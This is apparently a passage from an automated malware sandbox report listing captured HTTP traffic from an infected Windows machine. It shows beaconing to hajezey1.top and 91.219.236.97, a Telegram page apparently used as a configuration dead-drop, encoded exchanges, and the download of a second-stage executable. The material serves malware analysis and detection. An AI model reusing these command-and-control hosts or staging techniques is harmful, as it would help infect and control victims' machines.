2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49756	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:11.726389885 CEST	1172	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xauocndh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: hajezey1.top
Oct 29, 2021 20:10:11.726402998 CEST	1172	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 1f af cc 05 Data Ascii: Mw:xGcDATwmwu$f]dYnhyYaEMEHZ8>wbeK-0=EFk;ux/H68tP
Oct 29, 2021 20:10:11.805908918 CEST	1172	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49846	172.67.160.46	80	C:\Users\user\AppData\Local\Temp\152F.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:24.117980003 CEST	14546	OUT	GET /agrybirdsgamerept HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: toptelete.top
Oct 29, 2021 20:11:24.319390059 CEST	14644	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:11:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive set-cookie: stel_ssid=d2336ac24e8be3916c_13689654553816085746; expires=Sat, 30 Oct 2021 18:11:24 GMT; path=/; samesite=None; secure; HttpOnly pragma: no-cache cache-control: no-store strict-transport-security: max-age=35768000 access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GkVH2aAHmTvphKK6p00o4EMG31YVZwN5gc6uUNub75z4lLpuJRT%2B27COMrQPBiQ0EZxqWBOB%2Bkm7YMjvRHuFYCKy11DiTiGYTjBGjAvb6AbKh64o8EWn2nOerC3Gaagj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a5e5dbbca9b691f-FRA Data Raw: 31 31 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 37 61 63 38 61 71 38 39 65 6e 44 70 48 45 46 4f 49 52 75 4b 31 57 30 76 31 73 46 30 71 43 36 2f 34 62 62 2d 76 31 36 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 Data Ascii: 11f2<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @agrybirdsgamerept</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="agrybirdsgamerept"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta property="og:site_name" content="Telegram"><meta property="og:description" content="7ac8aq89enDpHEFOIRuK1W0v1sF0qC6/4bb-v16"><meta property="twitter:title" content="agrybirdsgamerept"><meta prope
Oct 29, 2021 20:11:24.319423914 CEST	14645	IN	Data Raw: 72 74 79 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d Data Ascii: rty="twitter:image" content="https://telegram.org/img/t_logo.png"><meta property="twitter:site" content="@Telegram"><meta property="al:ios:app_store_id" content="686449807"><meta property="al:ios:app_name" content="Telegram Messenger"><me
Oct 29, 2021 20:11:24.319444895 CEST	14647	IN	Data Raw: 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 69 74 75 6e 65 73 2d 61 70 70 22 20 63 6f 6e 74 65 6e 74 3d 22 61 70 70 2d 69 64 3d 36 38 36 34 34 39 38 30 37 2c 20 61 70 70 2d 61 72 67 75 6d 65 6e 74 3a 20 74 67 3a 2f 2f 72 65 73 6f Data Ascii: <meta name="apple-itunes-app" content="app-id=686449807, app-argument: tg://resolve?domain=agrybirdsgamerept"> <link rel="shortcut icon" href="//telegram.org/favicon.ico?3" type="image/x-icon" /> <link href="https://fonts.googleapis.
Oct 29, 2021 20:11:24.319466114 CEST	14648	IN	Data Raw: 5f 62 75 74 74 6f 6e 5f 6e 65 77 22 20 68 72 65 66 3d 22 74 67 3a 2f 2f 72 65 73 6f 6c 76 65 3f 64 6f 6d 61 69 6e 3d 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 56 69 65 77 20 69 6e 20 54 65 6c 65 67 72 61 6d 3c 2f 61 3e 0a 3c 2f 64 Data Ascii: _button_new" href="tg://resolve?domain=agrybirdsgamerept">View in Telegram</a></div>... WEBOGRAM_BTN --><div class="tgme_page_action tgme_page_context_action"><div class="tgme_page_context_btn"><a class="tgme_action_button_new" href="/s/ag
Oct 29, 2021 20:11:24.319479942 CEST	14648	IN	Data Raw: 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 31 35 2e 36 34 6d 73 20 2d 2d 3e 0a 0d 0a Data Ascii: </body></html>... page generated in 15.64ms -->
Oct 29, 2021 20:11:24.319494009 CEST	14648	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49847	91.219.236.97	80	C:\Users\user\AppData\Local\Temp\152F.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:24.479682922 CEST	14649	OUT	POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Content-Length: 128 Host: 91.219.236.97
Oct 29, 2021 20:11:24.479782104 CEST	14649	OUT	Data Raw: 6e 41 59 37 32 32 71 4d 51 4d 55 58 62 46 4a 4d 7a 43 6e 6a 6a 4c 37 78 5a 57 35 52 37 30 42 44 35 69 58 48 57 65 77 34 30 6f 71 6e 6f 75 4b 41 51 37 2f 63 64 72 33 73 33 6e 6b 47 6a 4d 33 4b 39 4b 31 2f 43 55 76 52 57 6f 79 46 42 65 73 78 64 48 Data Ascii: nAY722qMQMUXbFJMzCnjjL7xZW5R70BD5iXHWew40oqnouKAQ7/cdr3s3nkGjM3K9K1/CUvRWoyFBesxdHhWGaf/T8J+jyqV5ec4pgXKEth1BYQwZiNSeB1WKWImJvk=
Oct 29, 2021 20:11:24.825166941 CEST	14651	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 18:11:24 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Access-Control-Allow-Origin: * Data Raw: 31 66 33 37 0d 0a 68 52 6b 67 67 6a 6a 72 50 74 46 54 45 30 30 6f 6a 54 65 69 34 37 6e 51 44 42 35 4c 68 51 55 4d 37 6b 2b 2f 46 2f 63 74 74 74 36 55 74 65 2f 67 56 5a 4b 73 63 66 37 39 2b 79 55 6e 30 2f 61 41 67 4b 5a 2b 61 78 37 52 50 4d 37 4d 64 73 70 4b 59 57 46 58 47 61 54 2b 54 73 68 35 33 79 43 52 35 2b 55 36 39 56 54 49 45 39 67 70 41 39 38 32 61 69 74 58 66 6c 38 49 64 7a 68 6d 4b 76 46 30 67 6c 52 6e 6d 62 4d 52 6d 32 68 66 31 47 73 77 42 4b 2b 6e 75 66 77 49 32 30 41 49 45 32 43 55 62 42 37 76 74 58 4f 54 4d 69 61 7a 6f 52 71 42 4c 39 41 74 73 79 63 57 46 52 78 50 51 6b 6b 64 71 6f 45 69 7a 4e 6f 66 67 75 4a 46 6f 5a 43 37 61 31 76 75 6c 59 66 73 33 54 79 2f 62 73 41 49 73 41 67 4b 6f 67 6b 50 68 34 42 6c 46 52 66 62 38 39 36 48 33 54 69 56 61 37 41 2b 4d 32 37 76 77 64 78 4c 59 47 5a 2f 31 43 62 6a 54 65 59 4d 66 56 53 6c 43 58 30 4f 2f 4a 4c 59 64 57 63 66 44 75 50 4d 38 6d 41 76 75 32 46 70 48 2f 46 78 36 66 5a 36 32 50 7a 62 57 6a 6e 5a 47 72 39 2b 69 77 33 64 34 62 46 2f 67 6d 77 74 6c 4b 4a 64 30 50 59 75 38 6e 45 47 45 2b 73 31 36 46 33 4d 2f 35 72 6c 65 53 44 70 61 6d 62 43 38 44 77 58 37 47 43 37 71 65 37 5a 47 65 33 71 67 58 38 34 46 42 6e 77 39 41 34 59 79 51 6a 65 4f 48 53 6c 70 4c 4d 39 6a 4c 6f 75 73 6e 33 70 34 6a 7a 74 4c 35 46 41 38 79 66 73 6e 76 6e 52 79 4d 6a 34 4d 42 6a 50 6d 79 77 42 64 5a 38 6d 57 59 34 46 54 50 66 45 33 61 6b 31 74 61 61 79 61 33 38 37 78 74 58 51 4c 33 38 2f 4e 4d 35 4b 55 73 2f 59 68 64 79 32 4e 4d 53 33 4f 4d 55 74 4a 59 68 35 61 43 70 34 59 37 33 6e 30 54 44 4d 7a 79 6c 56 54 66 79 30 63 58 59 77 4b 46 74 7a 74 2b 2b 67 74 51 2b 45 2f 4a 33 57 6f 49 70 30 62 6f 4f 79 77 79 6a 48 6c 6a 54 49 4d 71 63 63 68 30 56 4b 56 62 73 4c 73 50 77 30 46 69 53 66 37 2f 62 2f 42 72 39 68 53 5a 68 35 6d 5a 44 52 6d 70 33 34 2f 33 47 76 77 39 61 42 71 6f 72 65 65 44 32 30 51 33 75 42 53 5a 33 44 32 70 36 39 4e 52 78 49 50 32 73 67 65 39 70 70 4e 63 52 5a 43 42 33 44 56 79 41 72 73 43 47 30 6c 4e 52 4d 31 65 66 61 75 58 2f 73 79 61 2f 63 70 63 7a 54 70 77 71 4a 30 34 4f 5a 59 47 30 77 69 75 6f 4f 51 42 52 71 53 30 55 62 74 78 37 38 2b 4d 42 6f 49 63 79 41 47 55 45 57 31 41 61 5a 6f 65 76 45 4b 67 38 68 4d 55 57 6b 4f 54 52 2b 32 55 41 74 6c 46 37 4d 4a 2f 2f 6b 38 48 67 6c 74 70 4b 4c 79 76 68 63 4d 32 6d 5a 2f 51 54 4d 53 58 58 38 65 74 59 79 56 41 4b 72 2b 48 69 65 41 30 6a 77 6e 66 51 30 73 6f 38 6d 41 74 55 4d 74 72 6b 68 6d 4d 4e 76 6d 6c 47 76 64 77 43 5a 31 6d 62 34 50 41 70 53 38 42 50 61 44 68 39 75 63 38 4f 41 6e 59 49 48 71 30 35 42 72 64 33 38 44 70 4d 79 47 46 33 4a 37 64 4b 76 56 56 78 63 39 6b 47 63 2b 4d 31 68 74 56 78 36 51 56 7a 6d 69 77 65 58 4e 58 50 30 77 53 46 77 2b 34 36 79 69 30 33 36 30 62 6a 71 49 73 30 64 4b 39 49 4e 7a 6d 4f 73 41 5a 47 77 38 33 67 44 43 53 33 41 42 62 32 6e 53 65 42 4a 71 4c 41 43 73 68 41 36 73 4b 2f 79 46 32 56 44 6b 6a 42 75 57 49 30 6a 4e 67 32 75 33 4d 39 57 6a 53 73 46 39 4b 71 2b 6b 69 79 66 2b 5a 47 5a 4f 52 56 43 6d 46 4c 75 55 76 64 6a 78 46 46 34 48 58 55 42 6f 51 71 6f 6f 31 39 6a 78 31 51 4e 6f 56 37 74 74 76 72 57 5a 52 66 4e 54 39 4d 74 4e 56 52 41 63 47 68 5a 46 79 31 6a 7a 7a 2f 4b 48 79 42 58 77 63 55 35 37 6a 34 4c 6d 65 35 51 63 6e 30 74 31 66 63 49 30 59 34 2b 59 4f 4b 6a 56 31 47 59 30 67 50 73 35 67 6e 4b 74 61 30 72 6d 6f 54 61 71 57 69 34 34 44 77 43 77 42 6a 4a 63 33 52 69 46 78 30 41 68 52 Data Ascii: 1f37hRkggjjrPtFTE00ojTei47nQDB5LhQUM7k+/F/cttt6Ute/gVZKscf79+yUn0/aAgKZ+ax7RPM7MdspKYWFXGaT+Tsh53yCR5+U69VTIE9gpA982aitXfl8IdzhmKvF0glRnmbMRm2hf1GswBK+nufwI20AIE2CUbB7vtXOTMiazoRqBL9AtsycWFRxPQkkdqoEizNofguJFoZC7a1vulYfs3Ty/bsAIsAgKogkPh4BlFRfb896H3TiVa7A+M27vwdxLYGZ/1CbjTeYMfVSlCX0O/JLYdWcfDuPM8mAvu2FpH/Fx6fZ62PzbWjnZGr9+iw3d4bF/gmwtlKJd0PYu8nEGE+s16F3M/5rleSDpambC8DwX7GC7qe7ZGe3qgX84FBnw9A4YyQjeOHSlpLM9jLousn3p4jztL5FA8yfsnvnRyMj4MBjPmywBdZ8mWY4FTPfE3ak1taaya387xtXQL38/NM5KUs/Yhdy2NMS3OMUtJYh5aCp4Y73n0TDMzylVTfy0cXYwKFtzt++gtQ+E/J3WoIp0boOywyjHljTIMqcch0VKVbsLsPw0FiSf7/b/Br9hSZh5mZDRmp34/3Gvw9aBqoreeD20Q3uBSZ3D2p69NRxIP2sge9ppNcRZCB3DVyArsCG0lNRM1efauX/sya/cpczTpwqJ04OZYG0wiuoOQBRqS0Ubtx78+MBoIcyAGUEW1AaZoevEKg8hMUWkOTR+2UAtlF7MJ//k8HgltpKLyvhcM2mZ/QTMSXX8etYyVAKr+HieA0jwnfQ0so8mAtUMtrkhmMNvmlGvdwCZ1mb4PApS8BPaDh9uc8OAnYIHq05Brd38DpMyGF3J7dKvVVxc9kGc+M1htVx6QVzmiweXNXP0wSFw+46yi0360bjqIs0dK9INzmOsAZGw83gDCS3ABb2nSeBJqLACshA6sK/yF2VDkjBuWI0jNg2u3M9WjSsF9Kq+kiyf+ZGZORVCmFLuUvdjxFF4HXUBoQqoo19jx1QNoV7ttvrWZRfNT9MtNVRAcGhZFy1jzz/KHyBXwcU57j4Lme5Qcn0t1fcI0Y4+YOKjV1GY0gPs5gnKta0rmoTaqWi44DwCwBjJc3RiFx0AhR
Oct 29, 2021 20:11:24.825216055 CEST	14652	IN	Data Raw: 47 2f 31 4a 47 56 6c 44 75 41 6b 5a 4f 63 4b 76 67 37 64 63 35 52 59 70 4d 4d 4b 6d 59 37 4b 70 2b 70 64 75 50 63 55 68 59 4c 43 2b 72 36 36 38 36 63 38 59 53 41 32 70 46 44 74 4c 73 43 7a 49 55 68 35 66 52 47 5a 6e 6b 48 79 59 46 39 6f 59 52 68 Data Ascii: G/1JGVlDuAkZOcKvg7dc5RYpMMKmY7Kp+pduPcUhYLC+r6686c8YSA2pFDtLsCzIUh5fRGZnkHyYF9oYRhYhbKvDvCW67aZokOR5JtuWACQUr8xs9q1e3Bj1G02t4JM3IQAg4yxxV0qIyvXwm+nGK2/DlBCD6uvUs4a6fwx/eTLZmNX+XdadcnGe958Wpx/Bj92JgNpjR0zTP7rW/z+1xuGX+EZunYJG/TX1l1JqheL3kcxSRkL
Oct 29, 2021 20:11:24.825237989 CEST	14653	IN	Data Raw: 47 71 41 33 78 78 33 76 73 6d 6b 64 36 56 4c 76 64 56 72 52 53 68 4f 39 59 61 74 65 2b 6e 4d 75 44 51 56 44 42 5a 7a 5a 4a 47 6f 43 6e 76 51 44 39 51 2b 53 4b 58 47 44 32 78 47 6b 52 4b 64 7a 38 36 41 79 73 7a 70 58 30 62 38 4b 52 31 62 6a 56 65 Data Ascii: GqA3xx3vsmkd6VLvdVrRShO9Yate+nMuDQVDBZzZJGoCnvQD9Q+SKXGD2xGkRKdz86AyszpX0b8KR1bjVeqnUsfJnV6JNlUpMAfLy1j191eVh4GQsjdqHoZn8aCJt7Xa3koRCB9pHJhpvUAQzoir0/TyGHEVfRGVj3aWMWNQoBobcefMO1IOT/pgnyKaAopGUOQZhEtVovuCMwBfyCkCjecOVy9SKIFBfvJJJKSsi/alRcFMegk
Oct 29, 2021 20:11:24.825261116 CEST	14655	IN	Data Raw: 6d 36 64 2f 70 47 55 2b 31 31 52 35 34 34 41 43 35 62 5a 74 36 59 42 4d 52 30 43 31 36 76 6e 61 4d 68 45 57 6f 7a 57 5a 51 72 71 37 46 7a 4e 74 32 72 6c 42 53 59 70 38 4e 48 4c 66 4d 37 50 43 6c 47 71 52 58 55 47 31 66 54 30 33 62 59 5a 53 79 65 Data Ascii: m6d/pGU+11R544AC5bZt6YBMR0C16vnaMhEWozWZQrq7FzNt2rlBSYp8NHLfM7PClGqRXUG1fT03bYZSyegS3GgqJhdV9zp2CPUXShl3z7fO2JdGgXNLRMXRh/Nfiv6ILEv+XsGaEW5ps0VRhmxSJ/VEKZJIbFfWmCmK99zDsGgLdct3AvAkTCAp4GVrsbHlav1VvlypD/V06pCPYUcUsxczv+WNEZ7wI41H98ATWDIIIOVXfec
Oct 29, 2021 20:11:24.825295925 CEST	14656	IN	Data Raw: 51 75 33 4f 37 70 36 36 65 51 53 35 2b 4c 34 5a 6f 31 37 35 39 45 4c 65 68 5a 56 76 6d 71 77 61 30 4b 73 79 58 6c 59 76 42 42 43 51 35 72 45 48 68 52 7a 4e 51 61 4d 35 52 6e 58 2b 52 66 39 41 30 6b 52 6f 55 61 30 44 66 35 55 56 76 54 62 35 4c 71 Data Ascii: Qu3O7p66eQS5+L4Zo1759ELehZVvmqwa0KsyXlYvBBCQ5rEHhRzNQaM5RnX+Rf9A0kRoUa0Df5UVvTb5Lqbd2rcCnbCNM9i8Q3QwFUq2gGEndWC8ph7Ctr/00FZuh0cceq7enT+xsOkAeZ+QiM815p8F7XTBqfHXJjN7zq/MSCAZcU7dQCxKHskFy49Vv9YBqEFGKq2NROJKca86VjTu3NX5D/NzPYbR8SjpcdiypatmYjfGoli
Oct 29, 2021 20:11:24.825318098 CEST	14657	IN	Data Raw: 63 37 4d 34 33 53 6d 44 4e 57 4e 54 46 69 65 35 4c 33 7a 5a 53 6c 75 45 44 66 5a 53 34 4f 41 4a 33 6f 2f 57 63 52 6c 47 4b 54 59 38 44 4b 54 5a 45 50 30 70 43 6d 77 70 67 61 65 6e 30 43 37 32 56 52 48 32 43 5a 76 52 53 68 32 35 76 59 6d 58 39 58 Data Ascii: c7M43SmDNWNTFie5L3zZSluEDfZS4OAJ3o/WcRlGKTY8DKTZEP0pCmwpgaen0C72VRH2CZvRSh25vYmX9X+VCJVJFaMc0R4+ydp6hYmqfPc90hAR0996C1mN7S8XHGQUUmQeV2hCa9UqrM0PgafYRDLJZs1TSq1Ev7Zvs+ntgIbyalDOXghGrVwcoC3WKEHtCZhOQLc/Dcm18BDeJJkL6TcYDIPxFNabcBmeS4vuhbiIw3CAL9r
Oct 29, 2021 20:11:24.825524092 CEST	14659	IN	Data Raw: 70 2f 72 34 6c 39 59 4c 51 30 6f 2b 4c 68 39 31 77 4f 46 59 41 63 77 62 56 79 6d 46 64 57 54 72 30 71 66 33 2b 41 41 69 44 78 63 50 56 48 34 4b 72 6e 5a 66 70 61 41 46 34 32 61 53 51 72 54 36 75 55 45 70 45 4d 32 37 65 6c 33 50 44 6a 57 48 4c 5a Data Ascii: p/r4l9YLQ0o+Lh91wOFYAcwbVymFdWTr0qf3+AAiDxcPVH4KrnZfpaAF42aSQrT6uUEpEM27el3PDjWHLZpNvtH1NXtz4w45NwTzk/pn0BrEbDGr+ASz/CTx9cs49eMYaeeaX/xQTL4uHFI2Ua5AakHDFJjzxENjFd8LLiwfhqL6OB4/Ee9lb37+V0x571Dwn+h/AkKpL5FHObiCWY59J3/m4r70GvGpVHWFHKJlNVCVf3d
Oct 29, 2021 20:11:24.825572014 CEST	14659	IN	Data Raw: 39 64 57 76 34 54 4f 4f 37 68 55 78 74 6d 5a 4e 4a 37 36 4a 49 56 47 75 76 30 78 47 79 70 65 4a 4f 73 67 4d 56 42 70 68 36 6e 6c 35 75 54 39 66 42 6f 4a 49 72 78 65 75 33 61 34 59 54 59 46 38 4e 63 34 69 71 71 4d 58 70 6c 6f 4e 5a 4b 43 6a 65 50 Data Ascii: 9dWv4TOO7hUxtmZNJ76JIVGuv0xGypeJOsgMVBph6nl5uT9fBoJIrxeu3a4YTYF8Nc4iqqMXploNZKCjePVwNTq7rYfp+4KPrrYIrHzkmvFsE/rk9shnO8ENkXEXLYky+T+bau946T4PDMLiS1lrYbFgJ9qhe/but45vio3uA+13SN1diqrMhg8HNi4o/YixzAXA97f20cX7EXzI8XtHJzuo5hZBRQUTNrsBG1JYqajhUgVSOKD
Oct 29, 2021 20:11:24.873094082 CEST	14659	OUT	GET //l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: 91.219.236.97
Oct 29, 2021 20:11:25.089807034 CEST	14661	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 18:11:25 GMT Content-Type: application/octet-stream Content-Length: 916735 Connection: keep-alive Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT ETag: "612fa893-dfcff" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 bc 08 00 00 00 60 0c 00 00 0a 00 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 69 02 00 00 00 70 0c 00 00 04 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 d3 1c 00 00 00 80 0c 00 00 1e 00 00 00 ee 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 90 02 00 00 00 a0 0c 00 00 04 00 00 00 0c 0c 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELt\!Zpa H 03.textXXZ`P`.datap`@`.rdata \|@`@.bss(`.edata "@0@.idataH@0.CRT,@0.tls @0.rsrc @0.reloc304@0B/4p@@B/19@B/31 @B/45@@B/57`@0B/70ip@B/81@B/92
